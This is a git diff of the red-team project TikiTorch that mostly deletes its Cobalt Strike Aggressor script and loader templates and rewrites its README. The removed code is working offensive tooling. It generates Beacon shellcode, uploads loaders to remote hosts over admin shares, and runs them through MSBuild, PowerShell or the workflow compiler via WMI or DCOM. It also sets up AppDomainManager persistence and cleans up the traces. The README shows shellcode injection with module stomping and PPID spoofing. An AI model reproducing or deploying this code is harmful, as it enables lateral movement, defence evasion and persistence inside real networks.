diff --git a/.gitignore b/.gitignore index 4d13c54..26ab8f4 100644 --- a/.gitignore +++ b/.gitignore @@ -13,6 +13,9 @@ # User-specific files (MonoDevelop/Xamarin Studio) *.userprefs +# Mono auto generated files +mono_crash.* + # Build results [Dd]ebug/ [Dd]ebugPublic/ @@ -20,10 +23,14 @@ [Rr]eleases/ x64/ x86/ +[Ww][Ii][Nn]32/ +[Aa][Rr][Mm]/ +[Aa][Rr][Mm]64/ bld/ [Bb]in/ [Oo]bj/ [Ll]og/ +[Ll]ogs/ # Visual Studio 2015/2017 cache/options directory .vs/ @@ -37,9 +44,10 @@ Generated\ Files/ [Tt]est[Rr]esult*/ [Bb]uild[Ll]og.* -# NUNIT +# NUnit *.VisualState.xml TestResult.xml +nunit-*.xml # Build Results of an ATL Project [Dd]ebugPS/ @@ -54,6 +62,9 @@ project.lock.json project.fragment.lock.json artifacts/ +# ASP.NET Scaffolding +ScaffoldingReadMe.txt + # StyleCop StyleCopReport.xml @@ -79,6 +90,7 @@ StyleCopReport.xml *.tmp_proj *_wpftmp.csproj *.log +*.tlog *.vspscc *.vssscc .builds @@ -120,9 +132,6 @@ _ReSharper*/ *.[Rr]e[Ss]harper *.DotSettings.user -# JustCode is a .NET coding add-in -.JustCode - # TeamCity is a build add-in _TeamCity* @@ -133,6 +142,11 @@ _TeamCity* .axoCover/* !.axoCover/settings.json +# Coverlet is a free, cross platform Code Coverage Tool +coverage*.json +coverage*.xml +coverage*.info + # Visual Studio code coverage results *.coverage *.coveragexml @@ -180,6 +194,8 @@ PublishScripts/ # NuGet Packages *.nupkg +# NuGet Symbol Packages +*.snupkg # The packages folder can be ignored because of Package Restore **/[Pp]ackages/* # except build/, which is used as an MSBuild target. @@ -190,6 +206,9 @@ PublishScripts/ *.nuget.props *.nuget.targets +# Nuget personal access tokens and Credentials +# nuget.config + # Microsoft Azure Build Output csx/ *.build.csdef @@ -204,12 +223,14 @@ BundleArtifacts/ Package.StoreAssociation.xml _pkginfo.txt *.appx +*.appxbundle +*.appxupload # Visual Studio cache files # files ending in .cache can be ignored *.[Cc]ache # but keep track of directories ending in .cache -!*.[Cc]ache/ +!?*.[Cc]ache/ # Others ClientBin/ @@ -253,6 +274,9 @@ ServiceFabricBackup/ *.bim.layout *.bim_*.settings *.rptproj.rsuser +*- [Bb]ackup.rdl +*- [Bb]ackup ([0-9]).rdl +*- [Bb]ackup ([0-9][0-9]).rdl # Microsoft Fakes FakesAssemblies/ @@ -288,10 +312,6 @@ paket-files/ # FAKE - F# Make .fake/ -# JetBrains Rider -.idea/ -*.sln.iml - # CodeRush personal settings .cr/personal @@ -332,3 +352,37 @@ ASALocalRun/ # Local History for Visual Studio .localhistory/ + +# BeatPulse healthcheck temp database +healthchecksdb + +# Backup folder for Package Reference Convert tool in Visual Studio 2017 +MigrationBackup/ + +# Ionide (cross platform F# VS Code tools) working folder +.ionide/ + +# Fody - auto-generated XML schema +FodyWeavers.xsd + +# VS Code files for those working on multiple tools +.vscode/* +!.vscode/settings.json +!.vscode/tasks.json +!.vscode/launch.json +!.vscode/extensions.json +*.code-workspace + +# Local History for Visual Studio Code +.history/ + +# Windows Installer files from build outputs +*.cab +*.msi +*.msix +*.msm +*.msp + +# JetBrains Rider +.idea/ +*.sln.iml diff --git a/Aggressor/Templates/TikiCompiler b/Aggressor/Templates/TikiCompiler deleted file mode 100644 index aa37066..0000000 --- a/Aggressor/Templates/TikiCompiler +++ /dev/null @@ -1,28 +0,0 @@ -using System; -using System.Reflection; -using System.Workflow.Activities; -using System.Runtime.InteropServices; - -public class Program : SequentialWorkflowActivity { - - const string binary = @""; - const string shellcode = ""; - const string dll = ""; - - public Program() { - TikiSpawn(binary, Convert.FromBase64String(dll), shellcode); - } - - private static void TikiSpawn(string binary, byte[] dll, string shellcode) { - var asm = Assembly.Load(dll); - var type = asm.GetType("TikiSpawn"); - var instance = Activator.CreateInstance(type); - - type.InvokeMember("Flame", - BindingFlags.InvokeMethod | BindingFlags.Static | BindingFlags.Public, - null, - instance, - new object[] { binary, shellcode }); - } - -} \ No newline at end of file diff --git a/Aggressor/Templates/TikiCompiler.txt b/Aggressor/Templates/TikiCompiler.txt deleted file mode 100644 index dc198c1..0000000 --- a/Aggressor/Templates/TikiCompiler.txt +++ /dev/null @@ -1,32 +0,0 @@ - - - - c:\windows\temp\tikicompiler - - - - - - - - false - true - false - - - - - false - -1 - - false - false - - false - CSharp - - - - - - \ No newline at end of file diff --git a/Aggressor/Templates/TikiManifest.cs b/Aggressor/Templates/TikiManifest.cs deleted file mode 100644 index 95ffcf0..0000000 --- a/Aggressor/Templates/TikiManifest.cs +++ /dev/null @@ -1,27 +0,0 @@ -using System; -using System.Reflection; -using System.Runtime.InteropServices; -[ComVisible(true)] -[Guid("0ba9a3e0-3ecf-487f-9aae-c28e5af6dce8")] -[ClassInterface(ClassInterfaceType.None)] -public sealed class TikiTorchDomainManager : AppDomainManager -{ - public override void InitializeNewDomain(AppDomainSetup appDomainInfo) - { - Program.Run(); - return; - } -} -public class Program -{ - static string dll = ""; - static string binary = @""; - static string shellcode = ""; - public static void Run() - { - var asm = Assembly.Load(Convert.FromBase64String(dll)); - var type = asm.GetType("TikiSpawn"); - var instance = Activator.CreateInstance(type); - type.InvokeMember("Flame", BindingFlags.InvokeMethod | BindingFlags.Static | BindingFlags.Public, null, instance, new object[] { binary, shellcode }); - } -} \ No newline at end of file diff --git a/Aggressor/Templates/TikiSpawn.ps1 b/Aggressor/Templates/TikiSpawn.ps1 deleted file mode 100644 index c21a387..0000000 --- a/Aggressor/Templates/TikiSpawn.ps1 +++ /dev/null @@ -1,6 +0,0 @@ -$binary = "" -$dll = "" -$shellcode = "" - -[System.Reflection.Assembly]::Load([System.Convert]::FromBase64String($dll)) -[TikiSpawn]::Flame($binary, $shellcode) \ No newline at end of file diff --git a/Aggressor/Templates/TikiSpawn.xml b/Aggressor/Templates/TikiSpawn.xml deleted file mode 100644 index 9bd4422..0000000 --- a/Aggressor/Templates/TikiSpawn.xml +++ /dev/null @@ -1,47 +0,0 @@ - - - - - - - - - - - - - \ No newline at end of file diff --git a/Aggressor/Templates/TikiSpawnWOppid.dll b/Aggressor/Templates/TikiSpawnWOppid.dll deleted file mode 100644 index e6fd9ea..0000000 Binary files a/Aggressor/Templates/TikiSpawnWOppid.dll and /dev/null differ diff --git a/Aggressor/Templates/TikiSpawnWppid.dll b/Aggressor/Templates/TikiSpawnWppid.dll deleted file mode 100644 index 41c2ee8..0000000 Binary files a/Aggressor/Templates/TikiSpawnWppid.dll and /dev/null differ diff --git a/Aggressor/TikiTorch.cna b/Aggressor/TikiTorch.cna deleted file mode 100644 index 18ad0e0..0000000 --- a/Aggressor/TikiTorch.cna +++ /dev/null @@ -1,587 +0,0 @@ -global('$WMI::AssemblyPath'); -global('$CsExec::AssemblyPath'); -global('$CsDCOM::AssemblyPath'); -global('$CsEnv::AssemblyPath'); -global('$TikiSpawnWOppid::DllPath'); -global('$TikiSpawnWppid::DllPath'); -global('$TikiSpawn::XmlPath'); -global('$TikiService::AssemblyPath'); -global('$TikiService::ConfigPath'); -global('$TikiCompiler::XmlPath'); -global('$TikiCompiler::CSPath'); -global('$TikiManifest::CSPath'); - -$CsWMI::AssemblyPath = "D:\\Tools\\MiscTools\\CsWMI\\bin\\Release\\CsWMI.exe"; -$CsExec::AssemblyPath = "D:\\Tools\\MiscTools\\CsExec\\bin\\Release\\CsExec.exe"; -$CsDCOM::AssemblyPath = "D:\\Tools\\MiscTools\\CsDCOM\\bin\\Release\\CsDCOM.exe"; -$CsEnv::AssemblyPath = "D:\\Tools\\MiscTools\\CsEnv\\bin\\Release\\CsEnv.exe"; -$TikiSpawnWppid::DllPath = "D:\\Tools\\TikiTorch\\Aggressor\\Templates\\TikiSpawnWppid.dll"; -$TikiSpawnWOppid::DllPath = "D:\\Tools\\TikiTorch\\Aggressor\\Templates\\TikiSpawnWOppid.dll"; -$TikiSpawn::XmlPath = "D:\\Tools\\TikiTorch\\Aggressor\\Templates\\TikiSpawn.xml"; -$TikiSpawn::PshPath = "D:\\Tools\\TikiTorch\\Aggressor\\Templates\\TikiSpawn.ps1"; -$TikiService::AssemblyPath = "D:\\Tools\\TikiTorch\\TikiService\\bin\\Release\\TikiService.exe"; -$TikiService::ConfigPath = "D:\\Tools\\TikiTorch\\TikiService\\bin\\Release\\TikiService.exe.config"; -$TikiCompiler::XmlPath = "D:\\Tools\\TikiTorch\\Aggressor\\Templates\\TikiCompiler.txt"; -$TikiCompiler::CSPath = "D:\\Tools\\TikiTorch\\Aggressor\\Templates\\TikiCompiler"; -$TikiManifest::CSPath = "D:\\Tools\\TikiTorch\\Aggressor\\Templates\\TikiManifest.cs"; - -if(!-exists $CsWMI::AssemblyPath) { - show_error("WMI assembly not found!"); - exit(); -} - -if(!-exists $CsExec::AssemblyPath) { - show_error("CsExec assembly not found!"); - exit(); -} - -if(!-exists $CsEnv::AssemblyPath) { - show_error("CsEnv assembly not found!"); - exit(); -} - -if(!-exists $TikiSpawnWOppid::DllPath) { - show_error("TikiSpawn DLL not found!"); - exit(); -} - -if(!-exists $TikiSpawn::XmlPath) { - show_error("XML template not found!"); - exit(); -} - -if(!-exists $TikiSpawn::PshPath) { - show_error("PowerShell template not found!"); - exit(); -} - -if(!-exists $TikiService::AssemblyPath) { - show_error("TikiService assembly not found!"); - exit(); -} - -if(!-exists $TikiService::ConfigPath) { - show_error("TikiService config not found!"); - exit(); -} - -if(!-exists $TikiCompiler::XmlPath) { - show_error("TikiCompiler XML template not found!"); - exit(); -} - -if(!-exists $TikiCompiler::CSPath) { - show_error("TikiCompiler C# template not found!"); - exit(); -} - -alias tikilateral { - - $bid = $1; - - $input = substr($0, 12); - @args = split(' ', $input); - - ######################### - ## Check args[] length ## - ######################### - - if (size(@args) eq "6") { - - $target = @args[0]; - $listener = @args[1]; - $arch = @args[2]; - $binary = @args[3]; - $payload = @args[4]; - $method = @args[5]; - } - - ################ - ## Get Method ## - ################ - - @method = split(':', $method); - $m0 = @method[0]; - $m1 = @method[1]; - - ############ - ## Errors ## - ############ - - if (size(@args) ne "6") { - berror($bid, "Invalid number of arguments"); - return; - } - - if (listener_info($listener, "payload") eq "") { - berror($bid, "Invalid listener"); - return; - } - - if (($arch ne "x64") && ($arch ne "x86")) { - berror($bid, "Invalid architecture"); - return; - } - - if (($m0 ne "wmi") && ($m0 ne "dcom")) { - berror($bid, "Invalid method"); - return; - } - - btask($bid, "Tasked Beacon to run " . listener_describe($listener) . " on " . $target . " using " . $payload . " with " . $method); - - ############### - ## Shellcode ## - ############### - - artifact_stageless($listener, "raw", $arch, $null, $this); - yield; - $shellcode = base64_encode($1); - - ################## - ## Prep Payload ## - ################## - - if ($payload eq "msbuild") { $final = msbuild_data_swap($binary, $shellcode, $TikiSpawnWOppid::DllPath, $TikiSpawn::XmlPath); } - else if ($payload eq "powershell") { $final = powershell_data_swap($binary, $shellcode, $TikiSpawnWOppid::DllPath, $TikiSpawn::PshPath); } - else if ($payload eq "workflowcompiler") { $final = compilerworkflow_data_swap($binary, $shellcode, $TikiSpawnWOppid::DllPath, $TikiCompiler::CSPath); } - - #################### - ## Upload and Run ## - #################### - - if ($payload eq "msbuild") { - - bupload_raw!($bid, "\\\\ $+ $target $+ \\c$\\windows\\temp\\tikispawn.xml", $final); - - if ($arch eq "x64") { $buildPath = "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\msbuild.exe"; } - else if ($arch eq "x86") { $buildPath = "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\msbuild.exe"; } - - if ($m0 eq "wmi") { bexecute_assembly!($bid, $CsWMI::AssemblyPath, " $+ $target $+ \" $+ $buildPath $+ c:\\windows\\temp\\tikispawn.xml\" $+ $m1 $+ "); } - else if ($m0 eq "dcom") { bexecute_assembly!($bid, $CsDCOM::AssemblyPath, " $+ $target $+ $+ $buildPath $+ c:\\windows\\temp\\tikispawn.xml $+ $m1 $+ "); } - - } else if ($payload eq "powershell") { - - bupload_raw!($bid, "\\\\ $+ $target $+ \\c$\\windows\\temp\\tikispawn.ps1", $final); - - $pshPath = "c:\\windows\\system32\\windowspowershell\\v1.0\\powershell.exe"; - - if ($m0 eq "wmi") { bexecute_assembly!($bid, $CsWMI::AssemblyPath, " $+ $target $+ \" $+ $pshPath $+ -nop -w hidden -ep bypass -file c:\\windows\\temp\\tikispawn.ps1\" $+ $m1 $+ "); } - else if ($m0 eq "dcom") { bexecute_assembly!($bid, $CsDCOM::AssemblyPath, " $+ $target $+ $+ $pshPath $+ \"-nop -w hidden -ep bypass -file c:\\windows\\temp\\tikispawn.ps1\" $+ $m1 $+ "); } - - } else if ($payload eq "workflowcompiler" ) { - - $handle = openf($TikiCompiler::XmlPath); - $xml = readb($handle, -1); - closef($handle); - - bupload_raw!($bid, "\\\\ $+ $target $+ \\c$\\windows\\temp\\tikicompiler", $final); - bupload_raw!($bid, "\\\\ $+ $target $+ \\c$\\windows\\temp\\tikicompiler.txt", $xml); - - if ($arch eq "x64") { $path = "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\microsoft.workflow.compiler.exe"; } - else if ($arch eq "x86") { $path = "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\microsoft.workflow.compiler.exe"; } - - if ($m0 eq "wmi") { bexecute_assembly!($bid, $CsWMI::AssemblyPath, " $+ $target $+ \" $+ $path $+ c:\\windows\\temp\\tikicompiler.txt c:\\windows\\temp\\output.txt\" $+ $m1 $+ "); } - else if ($m0 eq "dcom") { bexecute_assembly!($bid, $CsDCOM::AssemblyPath, " $+ $target $+ $+ $path $+ \"c:\\windows\\temp\\tikicompiler.txt c:\\windows\\temp\\output.txt\" $+ $m1 $+ "); } - - } - - ################ - # Wait & link ## - ################ - - if ($payload eq "workflowcompiler") { - bpause!($bid, 10000); - } else { - bpause!($bid, 3000); - } - - blink!($bid, $target); - - ################# - ## Remove File ## - ################# - - if ($payload eq "msbuild") { - brm!($bid, "\\\\ $+ $target $+ \\c$\\windows\\temp\\tikispawn.xml"); - } else if ($payload eq "powershell") { - brm!($bid, "\\\\ $+ $target $+ \\c$\\windows\\temp\\tikispawn.ps1"); - } else if ($payload eq "workflowcompiler") { - brm!($bid, "\\\\ $+ $target $+ \\c$\\windows\\temp\\tikicompiler.txt"); - brm!($bid, "\\\\ $+ $target $+ \\c$\\windows\\temp\\tikicompiler"); - brm!($bid, "\\\\ $+ $target $+ \\c$\\windows\\temp\\output.txt"); - } -} - -alias tikiexec { - - $bid = $1; - - $input = substr($0, 9); - @args = split(' ', $input); - - ######################### - ## Check args[] length ## - ######################### - - if (size(@args) eq "4") { - - $target = @args[0]; - $listener = @args[1]; - $arch = @args[2]; - $binary = @args[3]; - - } - - ############ - ## Errors ## - ############ - - if (listener_info($listener, "payload") eq "") { - berror($bid, "Invalid listener"); - return; - } - - if (($arch ne "x64") && ($arch ne "x86")) { - berror($bid, "Invalid architecture"); - return; - } - - btask($bid, "Tasked Beacon to run " . listener_describe($listener) . " on " . $target . " using TikiExec"); - - ############### - ## Shellcode ## - ############### - - artifact_stageless($listener, "raw", $arch, $null, $this); - yield; - $shellcode = base64_encode($1); - - ################ - ## Prep Files ## - ################ - - $handle = openf($TikiService::AssemblyPath); - $exe = readb($handle, -1); - closef($handle); - - $config = tikiexec_data_swap($binary, $shellcode, $TikiService::ConfigPath); - - #################### - ## Upload and Run ## - #################### - - bupload_raw!($bid, "\\\\ $+ $target $+ \\c$\\windows\\temp\\tikiservice.exe", $exe); - bupload_raw!($bid, "\\\\ $+ $target $+ \\c$\\windows\\temp\\tikiservice.exe.config", $config); - - bexecute_assembly!($bid, $CsExec::AssemblyPath, " $+ $target $+ TikiSvc \"Tiki Service\" c:\\windows\\temp\\tikiservice.exe"); - - bpause!($bid, 1000); - blink!($bid, $target); - - ################## - ## Remove Files ## - ################## - - brm!($bid, "\\\\ $+ $target $+ \\c$\\windows\\temp\\tikiservice.exe"); - brm!($bid, "\\\\ $+ $target $+ \\c$\\windows\\temp\\tikiservice.exe.config"); -} - -alias tikipersist { - -$bid = $1; - - $input = substr($0, 12); - @args = split(' ', $input); - - ######################### - ## Check args[] length ## - ######################### - - if (size(@args) eq "4") { - - $listener = @args[0]; - $arch = @args[1]; - $binary = @args[2]; - $method = @args[3]; - } - - ############ - ## Errors ## - ############ - - if (size(@args) ne "4") { - berror($bid, "Invalid number of arguments"); - return; - } - - if (listener_info($listener, "payload") eq "") { - berror($bid, "Invalid listener"); - return; - } - - if (($arch ne "x64") && ($arch ne "x86")) { - berror($bid, "Invalid architecture"); - return; - } - - if (($method ne "manifest")) { - berror($bid, "Invalid method"); - return; - } - - btask($bid, "Tasked Beacon to persist with " . listener_describe($listener) . " and " . $method); - - ############### - ## Shellcode ## - ############### - - artifact_stageless($listener, "raw", $arch, $null, $this); - yield; - $shellcode = base64_encode($1); - - ################## - ## Prep Payload ## - ################## - - if ($method eq "manifest") { - $final = manifest_data_swap($binary, $shellcode, $TikiSpawnWppid::DllPath, $TikiManifest::CSPath); - - $handle = openf(">C:\\Windows\\Temp\\TikiManifest.cs"); - writeb($handle, $final); - closef($handle); - } - - $buildPath = ""; - - if ($arch eq "x64") { $buildPath = "C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe"; } - else { $buildPath = "C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\csc.exe"; } - - $buildCmd = $buildPath . " /target:library /unsafe /out:C:\\Windows\\Temp\\tasks.dll C:\\Windows\\Temp\\TikiManifest.cs"; - - $process = exec("cmd.exe /c \"$buildCmd\""); - @data = readAll($process); - printAll(@data); - closef($process); - - #################### - ## Upload and Run ## - #################### - - if ($method eq "manifest") { - - $handle = openf("C:\\Windows\\Temp\\tasks.dll"); - $dll = readb($handle, -1); - closef($handle); - - bupload_raw!($bid, "c:\\windows\\system32\\tasks\\tasks.dll", $dll); - - bexecute_assembly!($bid, $CsEnv::AssemblyPath, "APPDOMAIN_MANAGER_ASM \"tasks, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null\" user"); - bexecute_assembly!($bid, $CsEnv::AssemblyPath, "APPDOMAIN_MANAGER_TYPE TikiTorchDomainManager user"); - bexecute_assembly!($bid, $CsEnv::AssemblyPath, "COMPLUS_Version v4.0.30319 user"); - } - - ############# - ## Cleanup ## - ############# - - $process = exec("cmd.exe /c \"del C:\\Windows\\Temp\\TikiManifest.cs && del C:\\Windows\\Temp\\tasks.dll\""); - @data = readAll($process); - printAll(@data); - closef($process); - -} - -sub msbuild_data_swap { - - $binary = $1; - $shellcode = $2; - $dllPath = $3; - $template = $4; - - $handle = openf($dllPath); - $dll = base64_encode(readb($handle, -1)); - - if (-canread $template) { - - $handle = openf($template); - @data = readAll($handle); - closef($handle); - remove(@data, @data[21]); - add(@data, " public const string binary = @\" $+ $binary $+ \"\;", 21); - remove(@data, @data[22]); - add(@data, " public const string shellcode = @\" $+ $shellcode $+ \"\;", 22); - remove(@data, @data[23]); - add(@data, " public const string dll = @\" $+ $dll $+ \"\;", 23); - - $data = ""; - - for ($i = 0; $i < size(@data); $i++) { - $data = $data . @data[$i] . "\r\n"; - } - } - - return $data; -} - -sub powershell_data_swap { - - $binary = $1; - $shellcode = $2; - $dllPath = $3; - $template = $4; - - $handle = openf($dllPath); - $dll = base64_encode(readb($handle, -1)); - - if (-canread $template) { - - $handle = openf($template); - @data = readAll($handle); - closef($handle); - remove(@data, @data[0]); - add(@data, "\$binary = \"$binary\"", 0); - remove(@data, @data[1]); - add(@data, "\$dll = \"$dll\"", 1); - remove(@data, @data[2]); - add(@data, "\$shellcode = \"$shellcode\"", 2); - - $data = ""; - - for ($i = 0; $i < size(@data); $i++) { - $data = $data . @data[$i] . "\r\n"; - } - } - - return $data; -} - -sub compilerworkflow_data_swap { - - $binary = $1; - $shellcode = $2; - $dllPath = $3; - $template = $4; - - $handle = openf($dllPath); - $dll = base64_encode(readb($handle, -1)); - - if (-canread $template) { - - $handle = openf($template); - @data = readAll($handle); - closef($handle); - remove(@data, @data[7]); - add(@data, " const string binary = \@\"$binary\"\;", 7); - remove(@data, @data[8]); - add(@data, " const string shellcode = \"$shellcode\"\;", 8); - remove(@data, @data[9]); - add(@data, " const string dll = \"$dll\"\;", 9); - - $data = ""; - - for ($i = 0; $i < size(@data); $i++) { - $data = $data . @data[$i] . "\r\n"; - } - } - - return $data; -} - -sub manifest_data_swap { - - $binary = $1; - $shellcode = $2; - $dllPath = $3; - $template = $4; - - $handle = openf($dllPath); - $dll = base64_encode(readb($handle, -1)); - - if (-canread $template) { - - $handle = openf($template); - @data = readAll($handle); - closef($handle); - remove(@data, @data[16]); - add(@data, " static string dll = \"$dll\"\;", 16); - remove(@data, @data[17]); - add(@data, " static string binary = \@\"$binary\";", 17); - remove(@data, @data[18]); - add(@data, " static string shellcode = \"$shellcode\"\;", 18); - - $data = ""; - - for ($i = 0; $i < size(@data); $i++) { - $data = $data . @data[$i] . "\r\n"; - } - - } - - return $data; -} - -sub tikiexec_data_swap { - - $binary = $1; - $shellcode = $2; - $appConfig = $3; - - if (-canread $appConfig) { - - $handle = openf($appConfig); - @data = readAll($handle); - closef($handle); - remove(@data, @data[6]); - add(@data, " ", 6); - remove(@data, @data[7]); - add(@data, " ", 7); - - $data = ""; - - for ($i = 0; $i < size(@data); $i++) { - $data = $data . @data[$i] . "\r\n"; - } - } - - return $data; -} - -beacon_command_register ( - - "tikilateral", - "Execute a TikiTorch payload on a host", - "Execute a TikiTorch payload on the remote target using\n" . - "the specified payload type and code execution method.\n\n" . - "Use: tikilateral [target] [listener] [x64|x86] [binary] [payload] [method]\n\n" . - " Payloads: powershell\n" . - " msbuild\n" . - " workflowcompiler\n\n" . - " Methods: wmi:processcallcreate\n" . - " dcom:mmc20.application\n" . - " dcom:shellwindows\n" . - " dcom:shellbrowserwindow\n" . - " dcom:exceldde\n\n" . - "Example: tikilateral dc1 smb x64 c:\\windows\\system32\\svchost.exe msbuild dcom:mmc20.application\n" . - "Example: tikilateral dc1 smb x64 c:\\windows\\notepad.exe powershell wmi:processcallcreate" -); - -beacon_command_register ( - - "tikiexec", - "Use a service to run a TikiTorch payload on a host", - "Copy a TikiTorch payload to the remote target\n" . - "and execute it using the Service Control Manager.\n\n" . - "Use: tikiexec [target] [listener] [x64|x86] [binary]" -); - -beacon_command_register ( - - "tikipersist", - "Persist on a host with a TikiTorch payload", - "Install a persistence mechanism on the target using\n" . - "a TikiTorch payload and the specified method.\n\n" . - "Use: tikipersist [listener] [x64|x86] [binary] [method]\n\n" . - " Methods: manifest\n\n" . - "Example: tikipersist http x64 c:\\windows\\notepad.exe manifest" -); \ No newline at end of file diff --git a/Get-CompressedShellcode.ps1 b/Get-CompressedShellcode.ps1 deleted file mode 100644 index 9e3fe09..0000000 --- a/Get-CompressedShellcode.ps1 +++ /dev/null @@ -1,18 +0,0 @@ -function Get-CompressedShellcode { - - [CmdletBinding()] - Param( - [String]$inFile - ) - - $byteArray = [System.IO.File]::ReadAllBytes($inFile) - [System.IO.MemoryStream] $output = New-Object System.IO.MemoryStream - $gzipStream = New-Object System.IO.Compression.GzipStream $output, ([IO.Compression.CompressionMode]::Compress) - $gzipStream.Write($byteArray, 0, $byteArray.Length) - $gzipStream.Close() - $output.Close() - $tmp = $output.ToArray() - - $b64 = [System.Convert]::ToBase64String($tmp) - Write-Output $b64 -} \ No newline at end of file diff --git a/README.md b/README.md index a0d29a3..62b8436 100644 --- a/README.md +++ b/README.md @@ -8,39 +8,42 @@ |_| |_| |_\_\ |_| |_| \___/ |_| \__| |_||_| ``` -TikiTorch was named in homage to [CACTUSTORCH](https://github.com/vysecurity/CACTUSTORCH) by [Vincent Yiu](https://twitter.com/vysecurity). The basic concept of CACTUSTORCH is that it spawns a new process, allocates a region of memory, then uses `CreateRemoteThread` to run the desired shellcode within that target process. Both the process and shellcode are specified by the user. +TikiTorch was named in homage to [CACTUSTORCH](https://github.com/vysecurity/CACTUSTORCH) by [Vincent Yiu](https://twitter.com/vysecurity). The basic concept of CACTUSTORCH is that it spawns a new process, allocates a region of memory, writes shellcode into that region, and then uses `CreateRemoteThread` to execute said shellcode. Both the process and shellcode are specified by the user. The primary use case is as a JavaScript/VBScript loader via [DotNetToJScript](https://github.com/tyranid/DotNetToJScript), which can be utilised in a variety of payload types such as HTA and VBA. -This is pretty flexible as it allows an operator to run an HTTP agent in a process such as `iexplore.exe`, rather than something more arbitrary like `rundll32` or `powershell`. +TikiTorch takes this a step further by offering a more advanced style of process spawning and injection: -TikiTorch follows the same concept but has multiple types of process injection available, which can be specified by the user at compile time. +- Spawn x86 or x64 processes. +- Supports PPID Spoofing and BlockDLLs. +- Uses [Module Stomping](https://offensivedefence.co.uk/posts/module-stomping/) for injection. +- Utilises [DInvoke](https://github.com/TheWover/DInvoke) to call lower-level Nt* APIs. -## Projects +The TikiTorch solution has 2 projects: +1. TikiLoader +2. TikiSpawn -`TikiTorch` is a Visual Basic solution, split into 8 projects. +The TikiLoader is the core DLL that handles all of the actual spawning and injection logic. TikiSpawn is a demo console app showing how to consume the TikiLoader. -- TikiLoader -- TikiSpawn -- TikiSpawnAs -- TikiSpawnElevated -- TikiCpl -- TikiService -- TikiThings -- TikiVader +## Basic Usage -In the first instance, please see the [Wiki](https://github.com/rasta-mouse/TikiTorch/wiki) for usage instructions. +```c# +using System.Diagnostics; +using TikiLoader; -## Credits +var shellcode = new byte[] { /* whatever */ }; -- Aaron Bray for [Loader.cs](https://github.com/ambray/ProcessHollowing/blob/master/ShellLoader/Loader.cs) -- [James Foreshaw](https://twitter.com/tiraniddo) for C# advice -- [Vincent Yiu](https://twitter.com/vysecurity) for inspiration -- [Kevin Mitnick](@kevinmitnick) for letting me test in his lab -- [Steve Borosh](https://twitter.com/424f424f) for TikiCpl -- [Casey Smith](https://twitter.com/subTee) for [AllTheThings](https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1117/src/AllTheThings.cs) -- [Marcus Gelderman](https://gist.github.com/marcgeld) for [psCompress.ps1](https://gist.github.com/marcgeld/bfacfd8d70b34fdf1db0022508b02aca) -- [Will Schroeder](https://twitter.com/harmj0y) for [Seatbelt](https://github.com/GhostPack/Seatbelt) +var stomper = new Stomper +{ + BinaryPath = @"C:\Windows\System32\notepad.exe", + WorkingDirectory = @"C:\Windows\System32", + ModuleName = "xpsservices.dll", + ExportName = "DllCanUnloadNow", + ParentId = Process.GetProcessesByName("explorer")[0].Id, + BlockDlls = true +}; + +stomper.Stomp(_shellcode); +``` -## Further Reading - -- https://rastamouse.me/tags/tikitorch/ -- https://www.rythmstick.net/posts/tikitorch/ \ No newline at end of file +![](notepad.png) +![](modules.png) +![](thread.png) \ No newline at end of file diff --git a/TikiCpl/App.config b/TikiCpl/App.config deleted file mode 100644 index 8e15646..0000000 --- a/TikiCpl/App.config +++ /dev/null @@ -1,6 +0,0 @@ - - - - - - \ No newline at end of file diff --git a/TikiCpl/FodyWeavers.xml b/TikiCpl/FodyWeavers.xml deleted file mode 100644 index a5dcf04..0000000 --- a/TikiCpl/FodyWeavers.xml +++ /dev/null @@ -1,4 +0,0 @@ - - - - \ No newline at end of file diff --git a/TikiCpl/FodyWeavers.xsd b/TikiCpl/FodyWeavers.xsd deleted file mode 100644 index 44a5374..0000000 --- a/TikiCpl/FodyWeavers.xsd +++ /dev/null @@ -1,111 +0,0 @@ - - - - - - - - - - - - A list of assembly names to exclude from the default action of "embed all Copy Local references", delimited with line breaks - - - - - A list of assembly names to include from the default action of "embed all Copy Local references", delimited with line breaks. - - - - - A list of unmanaged 32 bit assembly names to include, delimited with line breaks. - - - - - A list of unmanaged 64 bit assembly names to include, delimited with line breaks. - - - - - The order of preloaded assemblies, delimited with line breaks. - - - - - - This will copy embedded files to disk before loading them into memory. This is helpful for some scenarios that expected an assembly to be loaded from a physical file. - - - - - Controls if .pdbs for reference assemblies are also embedded. - - - - - Embedded assemblies are compressed by default, and uncompressed when they are loaded. You can turn compression off with this option. - - - - - As part of Costura, embedded assemblies are no longer included as part of the build. This cleanup can be turned off. - - - - - Costura by default will load as part of the module initialization. This flag disables that behavior. Make sure you call CosturaUtility.Initialize() somewhere in your code. - - - - - Costura will by default use assemblies with a name like 'resources.dll' as a satellite resource and prepend the output path. This flag disables that behavior. - - - - - A list of assembly names to exclude from the default action of "embed all Copy Local references", delimited with | - - - - - A list of assembly names to include from the default action of "embed all Copy Local references", delimited with |. - - - - - A list of unmanaged 32 bit assembly names to include, delimited with |. - - - - - A list of unmanaged 64 bit assembly names to include, delimited with |. - - - - - The order of preloaded assemblies, delimited with |. - - - - - - - - 'true' to run assembly verification (PEVerify) on the target assembly after all weavers have been executed. - - - - - A comma-separated list of error codes that can be safely ignored in assembly verification. - - - - - 'false' to turn off automatic generation of the XML Schema file. - - - - - \ No newline at end of file diff --git a/TikiCpl/Program.cs b/TikiCpl/Program.cs deleted file mode 100644 index eb258fa..0000000 --- a/TikiCpl/Program.cs +++ /dev/null @@ -1,75 +0,0 @@ -using System; -using System.IO; -using System.Reflection; -using System.Diagnostics; -using System.Runtime.InteropServices; - -using TikiLoader; -using RGiesecke.DllExport; - -public class TikiCpl -{ - private static string ExtractResource(string filename) - { - var assembly = Assembly.GetExecutingAssembly(); - var resourceName = filename; - - using (Stream stream = assembly.GetManifestResourceStream(resourceName)) - using (StreamReader reader = new StreamReader(stream)) - { - string result = reader.ReadToEnd(); - return result; - } - - } - - private delegate IntPtr GetPebDelegate(); - - public static int FindProcessPid(string process) - { - int pid = 0; - - int session = Process.GetCurrentProcess().SessionId; - - Process[] processes = Process.GetProcessesByName(process); - - foreach (Process proc in processes) - { - if (proc.SessionId == session) - { - pid = 